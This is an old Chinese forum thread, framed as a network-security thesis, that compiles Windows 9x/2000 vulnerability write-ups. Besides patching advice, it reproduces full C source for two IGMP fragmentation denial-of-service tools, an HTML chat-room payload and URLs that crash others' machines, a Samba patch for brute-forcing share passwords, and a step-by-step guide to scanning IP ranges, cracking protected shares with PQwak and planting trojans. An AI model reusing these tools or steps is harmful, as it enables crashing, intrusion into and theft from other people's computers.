网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免?
.......
下面就说明一下在windows的安全漏洞
利用隐藏文件的扩展名进行恶意攻击
描述
多种已知的email病毒利用Windows操作系统隐藏某些文件的扩展名来进行攻击。最早被发现的利用隐藏文件扩展名进行攻击的病毒就是VBS/LoveLetter蠕虫(VBS/LoveLetter worm),它在邮件中包括了一个名为LOVE-LETTER-FOR-YOU.TXT.vbs附件。此外人们还发现了一些类似的恶意病毒,例如:
* Downloader (MySis.avi.exe or QuickFlick.mpg.exe)
* VBS/Timofonica (TIMOFONICA.TXT.vbs)
* VBS/CoolNote (COOL_NOTEPAD_DEMO.TXT.vbs)
病毒附在邮件中的文件看起来象无害的文本文件(.txt)、MPEG (.mpg)、 AVI (.avi)或者其它的文件类型,而实际上都是恶意的脚本或可运行程序。要知道这些病毒的详细描述,请访问Computer Virus Resource( http://www.cert.org/other_sources/viruses.html ) 站点。
Windows操作系统包括隐藏已知文件类型的选项。该选项缺省激活,但是用户可以选择禁用该选项,使Windows操作系统显示文件的扩展名,并且可以通过改变注册表中的某些键值来确定是否隐藏某些特定文件类型的扩展名,而不考虑操作系统的其它相关设置。Windows操作系统使用注册表键值“NeverShowExt”来隐藏基本的Windows 文件类型的扩展名。在用户禁用该选项后,在缺省情况下,仍然有一些文件的扩展名是隐藏的,例如,即使用户禁用隐藏扩展名选项,扩展名“.LNK”还是隐藏的。我们看到,可以通过设置注册表键值“NeverShowExt”来隐藏文件的扩展名从而达到进行攻击的目的。例如,扩展名为“.SHS”的 Shell Scrap Object文件。SHS文件通常关联特定的OLE对象,包含可执行的成分。有报告说明在邮件的附件中可以用SHS文件来分发恶意的攻击代码。最近的例子是恶意的VBScript程序被包装成SHS文件,作为邮件的附件(“LIFE_STAGES.TXT.SHS”)进行发送。
影响
由于隐藏文件的扩展名,用户可能被欺骗而打开某个文件。尽管该文件看起来是无害的,实际上却包含恶意的可执行代码。
解决方法
对用户来说,知道完全的和清晰的文件名,包括文件扩展名是非常重要的。通过配置Windows操作系统,显示完整的文件名和扩展名:* 配置Windows来显示所有文件和扩展名Windows 9x and Windows NT 4.0:
1. 打开Windows“开始”菜单
2. 选择“设置-〉控制面板”,打开控制面板
3. 选择“查看”菜单,选择“文件夹选项”
4. 单击“查看”标签
5. 在“隐藏文件”下,选择“显示所有文件”
6. 清除 “隐藏已知文件类型的扩展名”
7. 单击“确定”确认所作的修改
Windows 2000:
1. 打开Windows“开始”菜单
2. 选择“设置-〉控制面板”,打开控制面板
3. 选择“工具”菜单,选择“文件夹选项”
4. 单击“查看”标签
5. 在“隐藏文件”下,选择“显示隐藏文件和文件夹”
6. 不选 “隐藏已知文件类型的扩展名”
7. 清除“隐藏受保护的操作系统文件”。注意,Windows 2000将显示确认信息对话框,请阅读并理解对话框的内容,并单击“Yes”
8. 单击“确定”确认所作的修改
* 从注册表中删除NeverShowExt值
1. 打开Windows“开始”菜单
2. 选择“运行”,输入“regedit”并回车,打开注册表编辑器
3. 打开“编辑”菜单,选择“查找”项
4. 把“主键”和“数据”的选择去掉,只选择“键值”
5. “查找目标”中输入“NeverShowExt”,单击“查找下一个”
6. 找到该值后,用鼠标的右键单击该值,并选择“删除”
7. 按“F3”找到下一个NeverShowExt值
8. 重复步骤5、6,直到注册表中所有的“NeverShowExt”均被删除
9. 为使上述修改生效,必须重新启动计算机
---------------------------------------------
利用Windows解析漏洞在聊天室的攻击和防御
前言:当前Windows又出了一个很大的漏洞,经过我的实验,利用它在WEB聊天室打入一些简单的代码就可以很容易地让在聊天室所有看到此代码的人的系统蓝屏,系统崩溃!现象与你受到OOB炸弹后差不多,只有重新启动系统才能恢复正常。对MS Windows NT/2000和Netscape Messenger(网景)浏览器不产生影响。
原理:当MS Windows操作系统解析一个象"c:\[device]\[device]"这样的请求访问系统上一些包含设备名的非法路径时,系统会暂停,并最终导致整个操作系统崩溃。有5个设备驱动程序可被利用来做此攻击:CON, NUL, AUX, CLOCK$ 和 CONFIG$.其他驱动程序,象LPT[x]:, COM[x]: 和PRN 都不会造成影响。类似CON\NUL, NUL\CON, AUX\NUL, ...的组合对攻击Windows都很有效。
攻击:注意,如果自己是95或98,当然要先打好补丁,不然自己也同样会掉线,
·聊天室攻击:在支持HTML的Web聊天室(如湛江)打入代码<embed <img src="c:\con\con">,然后用耳语发给要测试的人,不然整个聊天室的人的系统会受此漏洞影响而死机掉线。对MS Windows NT/2000和Netscape Messenger(网景)浏览器不产生影响。
·IP攻击:这种方法对于开了共享的PC很有效,而且隐蔽!(除非对方有防火墙)例如:在网吧或者开了web server、FTP server的PC。对MS Windows NT/2000不产生影响。
1、先必须得到对方的IP,在聊天室得到对方IP的方法很多,这里我就不一一累述了;很多无聊的人在聊天室查IP,由于大部分都是通过建立个人Web sever访问记录而得到IP的,例如PWS,W4srv95,Omnihttpd等(IPHUNTER,F_IP比较特殊,不过原理也是),所以很容易会暴露自己的IP(只要查看源代码),如果没有打补丁的话,用下面的方法先掉的就是他了,对方还不知道是谁搞的咯,这也算是先发制人,给对方的一个惩罚吧!可别来对我啊:)
2、远程当掉对方windows系统,在你的浏览器打入http://对方IP/con/con或者http://对方IP/nul/nul防御:选择开始—》运行—》然后输入c:/con/con(或者输入c:/nul/nul。效果一样。其它如"AUX","CLOCK$"和"CONFIG$"也可以)这时如果出现windows蓝屏现象和系统死锁,说明你的系统有此漏洞。
请打补丁:
微软官方补丁,下载Decon02e.exe,95/98有效。
--------------------------------------------
对Windows98和Windows2000的攻击
IGMP是一个尚处于实验阶段的协议,提供Internet网际多点传送的功能,即将一个IP包的拷贝传给多个host. Windows98和windows2000都采用了这个不太成熟的协议,在这两个平台内,这个多点传送的协议的应用容易引起Tcp/IP堆栈的阻塞,从而引发了一个目前没有补丁的新攻击:
这里有两段C程序,效果差不多,请正确编译.
对Windows98和windows2000都是严厉的攻击,可能需要来两次或者更多,对方的机器将会蓝屏,当机甚至立即重新启动.
回复

使用道具 举报

 楼主| 发表于 2001-6-11 19:37:35 | 显示全部楼层

网 络 安 全 毕 业 论 文

下面引用由king在 2001/06/11 07:30pm 发表的内容:
网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免?
.......
/***
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>
void usage(char *arg)
{
printf("Kox by Coolio ( coolio@k-r4d.com )\n");
printf("Usage: %s <victim>\n", arg);
exit(1);
}
unsigned int randip()
{
struct hostent *he;
struct sockaddr_in sin;
char *buf = (char *)calloc(1, sizeof(char) * 16);
sprintf(buf, "%d.%d.%d.%d",
(random()%191)+23,
(random()%253)+1,
(random()%253)+1,
(random()%253)+1);
inet_aton(buf, (struct in_addr *)&sin);
return sin.sin_addr.s_addr;
}
unsigned short in_cksum(unsigned short *buh, int len)
{
register long sum = 0;
unsigned short oddbyte;
register unsigned short answer;
while(len > 1) {
sum += *buh++;
len -= 2;
}
if(len == 1) {
oddbyte = 0;
*((unsigned char *)&oddbyte) = *(unsigned char *)buh;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
int nuke_igmp(struct sockaddr_in *victim, unsigned long spoof)
{
int BIGIGMP = 1500;
unsigned char *pkt;
struct iphdr *ip;
struct igmphdr *igmp;
struct utsname *un;
struct passwd *p;
int i, s;
int id = (random() % 40000) + 500;
pkt = (unsigned char *)calloc(1, BIGIGMP);
ip = (struct iphdr *)pkt;
igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));
ip->version = 4;
ip->ihl = (sizeof *ip) / 4;
ip->ttl = 255;
ip->tot_len = htons(BIGIGMP);
ip->protocol = IPPROTO_IGMP;
ip->id = htons(id);
ip->frag_off = htons(IP_MF);
ip->saddr = spoof;
ip->daddr = victim->sin_addr.s_addr;
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
igmp->type = 0;
igmp->group = 0;
igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));
for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
i < BIGIGMP; i++)
pkt = random() % 255;
#ifndef I_GROK
un = (struct utsname *)(pkt + sizeof(struct iphdr) +
sizeof(struct igmphdr) + 40);
uname(un);
p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
#endif
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("error: socket()");
return 1;
}
if(sendto(s, pkt, BIGIGMP, 0, victim,
sizeof(struct sockaddr_in)) == -1) {
perror("error: sendto()");
return 1;
}
usleep(1000000);
for(i = 1; i < 5; i++) {
if(i > 3)
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
else
ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
usleep(2000000);
}
free(pkt);
close(s);
return 0;
}
int main(int argc, char *argv[])
{
struct sockaddr_in victim;
struct hostent *he;
int i;
srandom(time(NULL));
if(argc < 2)
usage(argv[0]);
if((he = gethostbyname(argv[1])) == NULL) {
herror(argv[1]);
exit(1);
}
memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
victim.sin_port = htons(0);
victim.sin_family = PF_INET;
printf("IGMP> ");
fflush(stdout);
for(i = 0; i < 10; i++)
{
nuke_igmp(&victim, randip());
printf(".");
fflush(stdout);
}
printf("\n");
fflush(stdout);
}
另一段程序:
/*
::: kod.c (kiss of death) version 1.2
::: [author] kod.c bug found by klepto /
klepto@levitate.net / rewritten by ignitor / ignitor@EFnet
::: [stuph ] works on bsd/linux/*nix
::: [notes ] bluescreens windows users(98/98se) and kills
tcp stack
::: [m$ bug] windows handles igmp badly and this is the
result
::: [greets]
amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotr
ip/TFreak/napster
::: [greets] dist(test monkey)/naz(you rule period.)/#havok/
#irc_addict/#kgb/#eof/everyone
::: [action] ./kod <host> and BEWM!
::: [rant ] there will be lots of rewrites to this.. just
get our name right!
de omnibus dubitandum
*/
/*
windows core dump output (*whee*)
An exception 0E has occurred at 0028:C14C9212 in VxD VIP
(01) +
00006C72. This was called from 0028:C183FF54 in VcD PPPMAC
(04) +
000079BR. It may be possible to continue normally(*not*).
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
struct iphdr
{
unsigned char ihl:4, version:4, tos;
unsigned short tot_len, id, frag_off;
unsigned char ttl, protocol;
unsigned short check;
unsigned int saddr, daddr;
};
struct igmphdr
{
unsigned char type, code;
unsigned short cksum;
struct in_addr group;
};
unsigned short in_chksum(unsigned short *, int);
long resolve(char *);
long resolve(char *host)
{
struct hostent *hst;
long addr;
hst = gethostbyname(host);
if (hst == NULL)
return(-1);
memcpy(&addr, hst->h_addr, hst->h_length);
return(addr);
}
int main(int argc, char *argv[])
{
struct sockaddr_in dst;
struct iphdr *ip;
struct igmphdr *igmp;
long daddr, saddr;
int s, i=0, c, len;
char buf[1500];
if (argc < 3)
{
printf("KOD spoofer by Ignitor and klepto\n");
printf("Usage: %s <src> <dst>\n", *argv);
return(1);
}
daddr = resolve(argv[2]);
saddr = resolve(argv[1]);
memset(buf, 0, 1500);
ip = (struct iphdr *)&buf;
igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];
dst.sin_addr.s_addr = daddr;
dst.sin_family = AF_INET;
ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = htons(10933);
ip->id = htons(48648);
ip->ttl = 64;
ip->protocol = IPPROTO_IGMP;
ip->check = in_chksum((unsigned short *)ip, sizeof(struct
iphdr));
ip->saddr = saddr;
ip->daddr = daddr;
s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (s == -1)
return(1);
printf("Sending IGMP packets: %s -> %s\n", argv[1], argv
[2]);
for (c=0;c<2;c++)
{
len = 220;
ip->frag_off = htons(0x73a);
for (i=0;;i++)
{
if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
(struct sockaddr_in)) == -1)
{
perror("Error sending packet");
exit(-1);
}
if (ntohs(ip->frag_off) == 0x2000)
break;
len = 1500;
if (!i)
ip->frag_off = htons(0x2681);
else
ip->frag_off = htons(ntohs(ip->frag_off) - 185);
ip->check = in_chksum((unsigned short *)ip, sizeof
(struct iphdr));
}
}
return(1);
}
unsigned short in_chksum(unsigned short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
---------------------------------------------
回复

使用道具 举报

 楼主| 发表于 2001-6-11 19:39:37 | 显示全部楼层

网 络 安 全 毕 业 论 文

下面引用由king在 2001/06/11 07:30pm 发表的内容:
网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免?
.......
Windows 2000登录漏洞
Windows 2000登录漏洞 是非常严重的,如果情况属实,那么可以说Windows 2000的安全性是令人担忧的,对此,我进行了验证。
■验证漏洞
经过实际操作,证实了这一点。在Windows 2000的登录界面里,的确可以通过切换输入法,在“全拼”输入的“帮助”选单里选择“输入法入门”,右击窗口中的“选项按钮”,选择“跳至URL”,在随后出现的对话框中输入想去的路径,就可以看到资源管理器的界面,也许因为我所使用的是Windows 2000的中文服务器版本,实际操作中并不能打开文件夹,但确实可以任意设置文件夹乃至硬盘分区的共享权限,从而使操作者可以通过网络完全控制装有Windows 2000操作系统的电脑上的所有数据资源。如果是服务器安装了Windows 2000,那么后果更是不堪设想。 经过我的测试,不仅是“全拼”输入法存在这个问题,“郑码”输入法也存在这个问题。问题不仅是在“帮助”选单里的“输入法入门”中,在“帮助”选单里的“操作指南”里同样也存在。
■堵住漏洞有两招
漏洞非常严重,如何堵住漏洞是我们最迫切需要解决的问题。不知是否是因为我使用的Windows 2000是服务器版的,不过经过努力,我还是找到了堵住这一漏洞的两种方法。
方法一,由于漏洞是出在“操作指南”和“输入法入门” 的“选项按钮”上,如果我们能使这一功能不发挥作用,不就把这一漏洞堵住了吗?事实上,“操作指南”和“输入法入门”所对应的是我们所熟悉的与“.hlp”文件相似的另外一种类型的帮助文件,它的后缀名为“.chm”,而“选项按钮”是“.chm”文件所独有的。 我在“WINNT(Windows 2000的系统目录)\HELP”目录下找到了与这一漏洞相关的几个“.chm”文件,分别是“winime.chm”(输入法操作指南)、 “winpy.chm”(全拼输入法帮助)和“winzm.chm”(郑码输入法帮助,这里的“郑”字被误写成了“政”字)。将这几个文件从“WINNT\HELP”目录中移走(包括将其删除)或是更名,那么再回到登录界面,我们会发现“操作指南”和“输入法入门”已经不起作用,Windows 2000的登录漏洞也就被堵住了。另外去掉这几个帮助文件,对整个Windows 2000的使用并无
影响。
对于不想改动这几个文件的朋友来说,我们还有方法二。不知大家有没有注意到,当我们启动Windows 2000并成功登录后,按住“ALT+CTRL+DEL”组合键,选择“锁定计算机”将计算机锁定,再按下“Ctrl+Shift”组合键时,就不能进行输入法的切换了,这也就是我所说的第二种解决方法。不过使用这一方法的读者一定要记住,启动Windows 2000后,务必要先登录,再锁定计算机,千万别忘了。
这个漏洞在windows 2000 验证可以.
------------------------------------------------------------------Windows 9x共享密码校验有漏洞
NSFOCUS 安全小组发现了微软Windows 9x NETBIOS协议口令校验部分存在一个安全漏洞。这个漏洞允许任意用户访问Windows 9x文件共享服务,即使此共享目录已经受到口令保护。攻击者并不需要知道真实口令。
受影响的软件及系统:Windows 95、Windows 98、
漏洞分析:
Windows 9x系统提供的文件和打印共享服务可以设置口令保护,以避免非法用户的访问。然而微软NETBIOS协议的口令校验机制存在一个严重漏洞,使得这种保护形同虚设。服务端在对客户端的口令进行校验时是以客户端发送的长度数据为依据的。因此,客户端在发送口令认证数据包时可以设置长度域为1, 同时发送一个字节的明文口令给服务端。服务端就会将客户端发来口令与服务端保存的共享口令的第一个字节进行明文比较,如果匹配就认为通过了验证。因此,攻击者仅仅需要猜测共享口令的第一个字节即可。 Windows 9x 的远程管理也是采用的共享密码认证方式,所以也受此漏洞影响。
漏洞测试:
回复

使用道具 举报

 楼主| 发表于 2001-6-11 19:40:17 | 显示全部楼层

网 络 安 全 毕 业 论 文

下面引用由king在 2001/06/11 07:30pm 发表的内容:
网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免?
.......
下面提供一个简单的测试程序。
您需要下载并修改Linux下的samba client(source/client/client.c)的源码:
  --- samba-2.0.6.orig/source/client/client.c Thu Nov 11 10:35:59 1999
  +++ samba-2.0.6/source/client/client.c Mon Sep 18 21:20:29 2000
  @@ -1961,12 +1961,22 @@ struct cli_state *do_connect(char *serve
  DEBUG(4,(" session setup ok\n"));
  +/*
  if (!cli_send_tconX(c, share, "?????",
  password, strlen(password)+1)) {
  DEBUG(0,("tree connect failed: %s\n", cli_errstr(c)));
  cli_shutdown(c);
  return NULL;
  }
  +*/
  +
  + password[0] = 0;
  + c->sec_mode = 0;
  + do{
  +
+ password[0]+=1;
  +
  + }while(!cli_send_tconX(c, share, "?????", password, 1));
  DEBUG(4,(" tconx ok\n"));
解决方案:
http://www.microsoft.com/technet/security/bulletin/ms00-072.asp
------------------------------------------------------------------
Win9x和Win Me登陆认证漏洞
被影响的系统: Windows ME,9x
描述: Windows ME,9x 系列在登录计算机时可以通过不输入密码,按取消就能登录到系统。由于为了保护用户的某些私人信息(上网账号,邮箱密码等等),当不登录为用户时,将不能获得这些信息。这些信息会加密放在windows目录下的用户名*.pwl中。这些操作系统存在一个本地漏洞,物理访问计算机的恶意用户能绕过登录认证,直接成为系统上的任意用户。 在安装了网络功能的win9x,ME 系统中在网络设置中添加了 Microsoft 网络用户组件后可以选择网络登录与windows 登录。如果设置为使用 Microsoft 网络登录,并没有设置为登录到域,在登录计算机时,用户可输入正确的用户名无需输入密码,按确定后将到windows 登录,这时按取消将会以该用户的身份成功登录进入系统。 恶意用户可以十分容易获得使用 PWL 文件中所有的私人信息。步骤为: 添加 Microsoft 网络用户(如果已经添加了 Microsoft 网络用户,下一步) 设置为不登录到域 设置为使用 Microsoft 网络登录(如果设置了为使用 Microsoft 网络登录,下一步) 注销或重新启动 在网络登录时输入正确的用户名并确定 这时将会出现windows 登录,按取消将会以该用户的身份成功登录进入系统。
------------------------------------------------------------------
回复

使用道具 举报

 楼主| 发表于 2001-6-11 19:41:27 | 显示全部楼层

网 络 安 全 毕 业 论 文

下面引用由king在 2001/06/11 07:30pm 发表的内容:
网 络 安 全 毕 业 论 文
网络安全的具体含义会随着“角度”的变化而变化。比如:从用户(个人、企业等)的角度来说,他们希望涉及个人隐私或商业利益的信息在网络上传输时受到机密性、完整性和真实性的保护,避免?
.......
Win9x 客户端驱动器类型比较漏洞
受影响的系统:Windows 95, Windows 98
问题描述:当Win9x 客户端访问NETBIOS文件共享服务和比较驱动器类型时,如果 服务器返回的类型不是下述类型: "?????"," A:"," LPT1:"," COMM"或者"IPC" 这将导致存在第六种返回结果,但是这种结果会被误以为上述五种结果之一, 这样,Win9x 客户端将得到错误的驱动器指针,并把控制权转移给错误 的驱动器函数地址,最终导致崩溃。 恶意的用户能向目标机器发送HTML email。如下述文件所示: hello 当Win9x 客户端使用 outlook express或者其它支持HTML的电子邮件 客户软件读这封恶意的HTML电子邮件时,会导致客户端的服务拒绝响应。
利用该漏洞的程序:
注意:该程序仅做研究之用,其它情况,该不负责。 在windows 98第二版或英文版中,可以按照下述步骤执行:
D:\WIN98\SYSTEM>debug vserver.vxd -d 2b60 1266:2B60 3C 01 75 24 8B C8 C1 E9-10 83 F9 6A 73 05 83 F9 <.u$.......js... 1266:2B70 64 73 1B 83 F9 13 72 10-83 F9 1F 76 0C 80 7F 3E ds....r....v...> 1266:2B80 05 73 05 83 F9 58 77 21-C3 66 B8 03 38 C3 83 F9 .s...Xw!.f..8... 1266:2B90 65 74 10 83 F9 68 74 32-83 F9 67 75 1B B8 03 38 et...ht2..gu...8 1266:2BA0 1A 00 C3 B8 03 38 1E 00-C3 83 F9 6E 74 10 83 F9 .....8.....nt... 1266:2BB0 70 74 11 83 F9 6C 74 12-B8 03 38 1F 00 C3 B8 01 pt...lt...8..... 1266:2BC0 00 02 00 C3 B8 03 38 27-00 C3 B8 03 38 15 00 C3 ......8'....8... 1266:2BD0 91 FE 48 32 75 0E 83 78-2A 00 74 08 8D 40 2A E8 ..H2u..x*.t..@*. -n vserver.bak (backup) -w Writing 1B8F8 bytes -n vserver.vxd -e 2b60 33 c0 c3 -w Writing 1B8F8 bytes -q 重启机器 给共享目录设置口令 从另一个Win9x 客户端上访问共享目录。
通常共享服务所在的Win9x 客户端会产生"蓝屏"错误,然后 系统将变得不稳定或者停机。
处理方式: 不要访问不信任主机的文件共享服务。 禁用基于TCP/IP的NetBIOS。
------------------------------------------------------------------Windows 9x NETBIOS 口令验证漏洞
受影响的系统:Windows 95 ,Windows 98 ,Windows Me
影响:在Microsoft Windows 9x NETBIOS协议实现中所使用的口令验证方案中存在安全 漏洞。 利用这个漏洞,任意的用户可以访问Windows 9x的使用口令保护的文件共享服务 。 尽管攻击者并不知道共享口令。
问题描述:用户可以通过设置口令来保护Microsoft Windows 9x系统的共享资源。但是在Microsoft Windows 9x NETBIOS协议实现中所使用的口令验证方案中存在安全漏洞。在验证口令时,口令的长度依赖于从客户端发送到服务器数据的长度。这就是说,如果客户端设置口令的长度为 一个字节,并且向服务器发送包含字符形式的口令的消息包,服务器 收到口令之后,仅比较共享口令的第一个字节。如果一致的话,口令 验证过程就结束了。所有攻击者所要做的只是猜测并且试验受害人口令 的第一个字节。 因为Windows 9x远程管理系统采用相同的共享口令验证方法,所以它也会受到影响。
利用该漏洞的程序:
下载samba源代码软件包,并且象下述例子一样修改
source/client/client.c: --- samba-2.0.6.orig/source/client/client.c Thu Nov 11 10:35:59 1999 +++ samba-2.0.6/source/client/client.c Mon Sep 18 21:20:29 2000 @@ -1961,12 +1961,22 @@ struct cli_state *do_connect(char *serve DEBUG(4,(" session setup ok\n")); +/* if (!cli_send_tconX(c, share, "?????", password, strlen(password)+1)) { DEBUG(0,("tree connect failed: %s\n", cli_errstr(c))); cli_shutdown(c); return NULL; } +*/ + + password[0] = 0; + c->sec_mode = 0; + do{ + + password[0]+=1; + + }while(!cli_send_tconX(c, share, "?????", password, 1)); DEBUG(4,(" tconx ok\n"))
处理方式: 关闭Microsoft的文件和打印共享服务。
解决方案:
Microsoft已经发布关于这个漏洞的安全公告。
该安全公告可用的补丁.
Windows98and98SE: http://download.microsoft.com/download/win98SE/Update/11958/W98/EN-US/2 73991USA8.EXE .
WindowsMe: http://download.microsoft.com/download/winme/Update/11958/WinMe/EN-US/2 73991USAM.EXE
------------------------------------------------------------------
基于NetBIOS的简单Windows进攻法
被影响的 系统平台:Windows 95, windows98,Windows Nt,Windows 2000
讨论一下有关如何进攻NetBIOS。
什么是SMB?
为了能沟通,你和我都需要共同的语言,如Chinese or English。计算机也一样,有很多计算机“语言”用于沟通互连在网上的机器,这些语言叫“协议”。TCP/IP, NETBEUI, IPX, SNA 和 Appletalk都是协议。有一种很流行的协议,它能使你共享文件,磁盘,目录,打印机,甚至网络端口;这个协议叫做SMB(Server Message Block)标准,它能被用于Warp连接, Warp 4, LAN Server, Lan Server/400, IBM PC Lan and Warp Server (from IBM), LANtastic in SMB mode (from Artisoft), MS-Client, Windows for Workgroups, Windows 95, LAN Manager and Windows NT Workstation & Server, DEC Pathworks, LM/UX, AS/UX, Syntax and Samba客户端或服务器之间的信息沟通。
怎样应用SMB?
Windows SMB被叫做“文件和打印共享”,它允许你访问共享被其他用户许可的文件和文件夹。基于Windows 95, 98或Windows Millenium的共享,即使你加了密码也是不安全的,利用这个共享,你可以得到从游戏到信用卡号码,音乐或数据库,甚至任何你想要的信息。
怎样去进攻?
1)下载SMBScanner,然后打开它,输入一个IP类。
(比如:127.0.0.1)建议你去下载IP地址分配表。
2)当搜索完成后,不要用软件本身的功能来“暴力”破解共享密码,请看下一步。
3)打开“运行”(开始-运行)或同时按“窗口键和R”,键入一个用SMBScanner搜出来的IP地址,例子:假如搜出的地址是:127.0.0.1,然后在运行窗口中键入"\127.0.0.1",按回车。然后是等...这要看你的连接速度,一般不会超过30秒,完成后将出现一个带共享名的文件夹。如果它出现了一些像“不共享”“IP地址连接不上”等,不要灰心,毕竟进攻电脑不是那么容易的事儿,你没有失败,看其他的IP。
4)单击一个带共享名的文件夹,打开它,通常如果此目录叫“C”的话,大概就是受害者的C盘了(希望如此,打开个“game”你还想下载他的游戏么?)打开带共享名的文件夹,这时将出现一个对话框,要密码。如果没有密码就太好了,你可以直接访问和下载文件了,但不要在此目录里运行可执行文件,按ctrl and C把它们复制到你的本地机器上再执行(catsun在此建议您要注意你下载的文件,万一有病毒!!!,不会有这样阴险的人吧引你上钩);如果对话框向你要密码请看下一步。
5)Windows 95, 98, and Millenium有个“速度破解漏洞”进入议题:再打开“运行”窗口,输入“command”如果你在用WindowsNT/2000的话请输入“cmd”打开一个命令窗口,键入“nbtstat -a ipaddress”(帮助文档情况请键入“?”)你将看到如下的输出:
Local Area Connection:
Node IpAddress: [4.3.37.XXX] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
MATRIX <00> UNIQUE Registered ------------------------重要!
WORKGROUP <00> GROUP Registered
MATRIX <20> UNIQUE Registered
MATRIX <03> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
ADMINISTRATOR <03> UNIQUE Registered
WORKGROUP <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MATRIX <6A> UNIQUE Registered
MATRIX <87> UNIQUE Registered
MAC Address = 00-80-C6-F9-X-X
最靠前的名字是NetBIOS name (MATRIX),第六行的是用户名,(关于词名字,还有其他的进攻方法,但是那是另外一课了,“暴力法”)我在以前的文章里写过的)。注意:请记好NetBIOS name!,我们将用它破解共享名文件夹的password。
6)下载,然后打开 PQwak。
--在NBMAME右面输入nbtstat中显示的NetBIOS name
--在SHARE栏里输入受密码保护的共享文件夹名。
--在IP栏里输入IP地址(期望我们找到的对象在用DSL或长时间上网,否则我们做了那么多后,他下线了,岂不是!·#¥%%……)
--设置DELAY,要看你的连接方式,如果是用56k的小猫的话,建议把DELAY设置在1000-2000,如果是用ADSL的话,建议在800-900。
7)运行 PQwak,不会让您浪费很长时间,完成后返回到受密码保护的共享文件夹,打开它,当它要网络密码时,将PQwak里的密码拷贝下来,再粘贴到密码对话框,然后 Do what you exactly want to do!
注意:如果你运行PQwak后出现“the password is a ' or the password is wrong”,请将DELAY数值调高。
我隐藏了我用的IP,但几乎任何IP段都有这样的机器!我这里扫到了17个。 以后您可以试一试哪个主机可以进入(有些没有被设置权限),你就可以添加,删除,或加入个木马之类!◎#¥%……
这样你可以进入远程电脑了,但这并不是“黑客”。
这个 漏洞在windows95/98/98se下可以进行进攻。
------------------------------------------------------------------
Windows 9x/NT 4.0/2000的NetBIOS的缓存可被破坏
受影响的系统:Windows 95,Windows 98,Windows NT 4.0,Windows 2000
描述:
Windows 95,98,NT 4.0和2000中的NetBIOS缓存的实现方式允许从远程在动态缓存中添加条目,以及删除动态缓存和静态缓存(从LMHOSTS文件中)的条目。这是由NetBIOS缓存的实现和CIFS(Common Internet File System)浏览协议之间的交互引起的。CIFS浏览协议用来生成网络资源的列表,该协议被用在“网上邻居”和“我的网络”等服务中。它还定义了一些浏览帧,这些帧被封装在NetBIOS数据包中。当从138号UDP端口接收到一个浏览帧的请求时,NetBIOS数据包中的信息被提取出来并添加到NetBIOS缓存中。这些信息包括源和目的地的NetBIOS名字、第二源IP地址以及IP头。远程的恶意用户可以通过发送单播或广播类型的UDP数据包,从而使得NetBIOS名字到IP地址的解析进
行重定向,在其控制之下转发到任意的IP地址。一旦NetBIOS缓存被UDP数据包破坏,就不再需要预测事务标识(据报道,事务标识是一个很容易预测的16 bit的标识)。为了刷新缓存中的动态条目,用户可以发送一个正向名字查询(Positive Name Query)响应,在该响应中提供另一个IP地址给NetBIOS名字映射。
建议:
NAI COVERT实验室提供了如下解决方案:
1、如果运行的是Windows 2000,则将基于TCP/IP的NetBIOS禁止使用。
2、为了防止外来的攻击,将网络对外的UDP和TCP的135~139及445号端口关闭。
3、由于NetBIOS名字解析(不管是通过广播还是WINS)容易受到这种破坏缓存的攻击,因此不能依赖
实施主机名到IP地址的解析。
